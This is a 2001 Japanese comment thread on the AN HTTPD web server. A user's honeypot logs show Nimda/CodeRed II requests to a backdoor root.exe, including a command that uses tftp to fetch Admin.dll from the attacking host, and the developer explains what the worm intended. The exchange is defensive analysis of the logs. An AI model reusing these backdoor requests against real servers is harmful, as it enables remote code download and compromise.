AN HTTPD ゲストブック/コメント集(2001年12月18日15:01)


中田昭雄 nakata@st.rim.or.jp 2001/12/18 21:16

TAさん、
なぜ違う処理が、という話については、
/scripts/root.exe?/c+dir に対して正常な応答(200)だと次のリクエストを出すからだと思います。
次に出すリクエストは、
/scripts/root.exe?/c+tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll
ということなのでしょう。
意図としては、
cmd.exe /c tftp -i *.*.*.41 GET Admin.dll Admin.dll
を実行するということになりますね。
root.exe は CodeRed II が cmd.exe をコピーして作ったもののはずだからです。
もっとも Admin.dll を tftp で取り寄せて次にどうするのかよくわかりませんが。

httpd.log にこのリクエストが記録されないのは、不測のエラーだからでしょう。その点は AN HTTPD の不備かもしれません。
また、Admin.dll の .dll を見て ISAPI DLL だとして LoadLibrary を実行しているのもまずいですね。 拡張子の判断が手抜きだからだと思うので、ログとあわせて見直します。
もちろん、いずれもセキュリティ上の問題にはならないと思いますけど。


TA kinana@geocities.co.jp 2001/12/18 15:01

ウイルス話が出ているところで、その関連の話で恐縮です。
今は、1.37dを使っています。

root.exeをperlで書いて、ダミーディレクトリ情報を出力するようにしています。
つまり、nimdaが最近多いので、何をしているのか見てみようと想ったのです。
すると、

*.*.*.41 - - [18/Dec/2001:09:13:33 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 403 
は動いているのですが、httpd.logに残らずに、isapi.logに
Tue Dec 18 09:13:43 2001 Loading Library c:\perl\bin\perl f:\http\cgi-bin\root.exe /c tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll
Tue Dec 18 09:13:43 2001 ISAPI Libary unloaded
そして、errors.logに
LoadLibrary("c:\perl\bin\perl f:\http\cgi-bin\root.exe /c tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll") failed with errorcode = 0
となります。
.exeを他の.pl,.cgiと同じく実行プログラムをc:\perl\bin\perl.exeとして一般パス等4つ
の設定ははずしています。
あと、/scriptsへのパスは/cgi-binにエイリアスを設定しています

同じroot.exeに対する処理が行われるのではないかと想うのですが、なぜ違う処理が行われて
いるか分かりますでしょうか。